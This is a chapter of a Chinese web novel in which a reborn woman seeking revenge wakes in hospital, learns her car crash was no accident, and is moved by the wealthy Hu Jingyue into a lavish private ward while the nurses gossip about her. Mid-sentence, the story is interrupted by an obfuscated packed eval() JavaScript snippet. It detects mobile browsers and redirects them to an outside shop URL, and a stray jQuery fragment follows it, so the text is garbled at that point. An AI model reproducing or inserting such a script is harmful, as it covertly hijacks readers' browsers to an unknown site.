张团圆一晚上睡得很沉,等她再醒来天已经亮了,医生都已经来查房了。
胡京阅坐在床边,领带松散,眼底有淡淡的倦意。见她睁眼,他轻声问:“醒了?饿不饿?”
“你怎么还在?”张团圆担忧地问,“会不会耽误你的事情?”
“没事,公司的事都安排好了。”胡京阅声音低沉温和。
“我怎么瞧着你今天心情很好?难道是我没事儿了?”这次的事情还是第一次,张团圆当时已经在思考,如果当时噶了,能不能回到地球?
此刻胡京阅面上也并没有笑,可张团圆就是感觉他今天心情非常不错。
胡京阅看了张团圆的气色,随后眸光微动:“昨夜白家大小姐出事了,白家地库发生了火灾。”
张团圆当下还不明白胡京阅所答非所问是为什么,直到胡京阅低声补了一句:“你的车祸不是意外。”
“你是说……”张团圆后面的话,在看见胡京阅修长手指放在唇边,轻轻“嘘”了一声,目光沉静如水。
她惊讶也惊喜:“人怎么样了?”
难道她重生回来最大的目标——报仇,就这样轻易地完成了?
此前,她在心中曾无数次盘算过各种复仇的可能性,复仇之路她也没打算能在短短几个月内完成,而是决心耗费数年时间。然而此刻,局势竟在一夜之间陡然逆转。
目前她需要确定白云杉是不是死了?
胡京阅无奈地抬眸,“你是希望她死?”
真可恶,这么问,心虚的张团圆都不知道要怎么回答,片刻才说道:“只能说恶人要有恶报!”
上辈子对她一个陌生的普通人,她都能下毒手,这一世竟遭天道反噬,也算报应不爽。张团圆指尖微微发颤,不是害怕,而是压抑不住的激动。她望着胡京阅沉静的侧脸。
“让你失望了,应该能活。”胡京阅并非信口开河,就白家的实力而言,倘若第一时间未曾传出白云杉的死讯,恐怕如今伤势已然得到控制。
“命真好。”张团圆见胡京阅盯着自己,收敛情绪,轻飘飘地回道。
胡京阅凝视着她,眼神深邃似海,“那我是不是也要有恶报?”
怎么又把问答转移到他自己身上了,他这么说不就赤裸裸地告诉自己,他也做过恶事。张团圆小心翼翼看了他的神色,也没有看出他这么问的目的是什么?
这该怎么回答?
“你不会有恶报,你是恶报的执行者。”张团圆一本正经地说。
“呵呵……”胡京阅不禁轻笑出声,他早料到她不会按规矩行事。下一秒又不再谈论这个话题,说道:“你的情况确实如医生所推测的,比预想的要好很多,所以一会儿为你办理转移手续。”
“好。”张团圆将心中的失望压抑下去,立刻欣喜地答道。
临近十点,张团圆入住了大平层的私人病房。落地窗外,一侧是璀璨的城市灯火,而靠近病床的那扇巨大落地窗之外,则是生机盎然的草木花树。清风轻拂树梢,光影摇曳,尽显宁静祥和。她望向窗外,原本沉重的身躯似乎也轻快了不少。
这个时候,胡京阅看着她询问:“还满意吗?”
“非常好,看着就让人心情舒畅。”张团圆说的是实话。偌大的病房内,只有她一人。不过,由于周围环境布置得雅致且绿意盎然,即便正值冬日,却宛如置身热带雨林一般。
就在她以为眼前就是全部,却见高大树木那茂密的树叶晃动起来。紧接着,一只灵动的小猴子好奇地朝着她这边张望。小猴子歪着头打量了她片刻,忽然咧嘴一笑,竟转身摘下一片叶子塞进嘴里,蹦蹦跳跳地消失在了树影深处。张团圆愣住了,这里哪里是什么普通病房,分明是被胡京阅打造成了一座隐秘的生态花园。
她转过头,望向他,只见对方唇角微微上扬,说道:“这样的病房还有五间。这间房的环境具有热带雨林的景致,动物也是专门从热带运送过来的。我猜想你会喜欢,所以就安排在这里了。过几天,要是你身体恢复得更好了,就可以自己挑选其他风格。”
“好。”
原本跟随在胡京阅身旁的院长和副院长,恭恭敬敬地等候着,被他遣走了。此刻,唯有护士长站在他身边,手中捧着一个本子,随时准备记录信息。
此时,护士长的脸上与眼中皆流露出意外与惊讶之色。
该医院在江宁市堪称首屈一指,渴望入院的患者挤破脑袋都难求得一张病床,权贵、富豪们无不对这里病房的入住资格垂涎三尺。
能够入住此处的人,无一不是背景雄厚或掌握重要资源的人物,医生和护士对这些病人无不毕恭毕敬。
然而,这些人终归并非医院的老板,说到底不过是病人而已。胡京阅才是这家医院真正的掌权者,并且在张团圆入住之前,胡京阅从未亲自为任何病人安排过病房,更未曾过问住院的具体事宜。
护士长不免小心翼翼地观察着病床上的张团圆。
她的目光落在张团圆身上,透着探究与不解。她长相虽清秀,却也平凡,街上这样的容貌并不少见。
看她与胡京阅交谈,并非那种言语温婉、举止雅致的女子,话语间甚至透露出一种未见过富贵的小家子气。然而就是这样一位女子,竟使胡京阅打破了以往的惯例。
胡京阅显然并未在意她的出身,满眼皆是担忧她会不适应、不开心。
在她离开之后,回去便给自己手下的护士开了会。
“今天住进一号病房的病人,昨天刚遭遇车祸,目前情况稳定,但你们要以百分之百的认真态度来对待。对待她,就如同对待咱们医院的老板一样。听到了吗?”
许多护士面面相觑,心中满是好奇。目前除了护士长,其他人都还没见过张团圆。
待护士长离开后,护士们纷纷压低声音,议论究竟是何种病人,竟能让全院上下如此关注。
“听闻是咱们胡少亲自送来的,怪不得向来深居简出的院长都亲自赶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17027608|193813||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来了。”
“咱们胡少如此重视,这人莫非是他的未婚妻?”在这家医院待久了,护士也算见多识广了。
能被安排进这里的人,至今还没有一个普通人。
例如,外界司空见惯的那些背着正妻在外养的女人,无论平日里多么受宠,一旦身体不适想要住院,根本无法住进这家医院。
这并非医院不愿收治她们,恰恰相反,是平日里与她们情意绵绵的那些男人不肯让她们入院。
尽管这些护士确实未曾听闻胡家现任掌权人胡京阅有未婚妻或心仪对象的传闻,但当下的种种反常行径,已足以令人心生遐想。
“一会儿换药,我去,你们歇着。”反应敏捷的护士自告奋勇,揽下了一号病房换药的活儿。
“你还要负责四号和五号病房的事务,一号病房就交给我来管理吧。”其他护士也都踊跃地争取接手,谁都不想错失接近那位神秘病人的机会。
这时,原本离开的护士长折返回来,也听到了她们的对话:“你们不必争执了,一号病房我亲自负责。”
尽管护士长担任这一职务不过五六年,但在这五六年里,能得到护士长亲自照料的病人,着实寥寥无几。
护士们虽不敢反驳,但心中的好奇却愈发强烈。
此时,病房内,胡京阅又喂了张团圆一口温水,满怀歉意地说道:“我一会儿得回去忙,没法一直陪着你了。等晚上我再来。”
白家虽因车库中的尸体而未再有任何动作,但胡京阅仍不能放松警惕。他又增加了两名亲信保镖在病房外值守,还让安保部门全面高度注意医院所有出入口的监控。
现在他可以放心去处理事情。
“你那么忙,晚上也不要来了。”
“我知道。”
胡京阅离开了,张团圆凝视着他远去的背影,默默喃喃自语:“胡京阅,别怪我利用你,实在是我无力亲自报仇。再者,白家与你们胡家本就不可能相安无事。”
倘若白云杉没有死亡,那么权当收取些许利息也罢。
此刻,张团圆丝毫不能放松,因为胡家北极远洋货轮能否安全归来,依旧悬而未决。近期应该就会有消息了。
“张小姐,您哪里不舒服吗?”护士长果真亲自来换药,发现张团圆明显有心事儿。
回过神来的张团圆微微一怔,随后微笑着说道:“没有不舒服。”她也只是因胡家的事情而忧心忡忡罢了。
毕竟胡京阅已然得罪了白家,倘若北极航运无法取得成功,胡家日后的处境将会愈发艰难。
护士长轻轻颔首,手法极为轻柔地为患者换药,同时柔声劝道:“您目前还是要安心静养,这对您身体的恢复至关重要。”见张团圆并不反感她,便试探着问道:“您中午想吃些什么,我亲自为您安排如何?”
“张小姐,您的午饭到了。”凑巧的是,门突然被推开,胡京阅留下的女保镖走了进来,手里各提着一个长方形的老式楠木餐盒。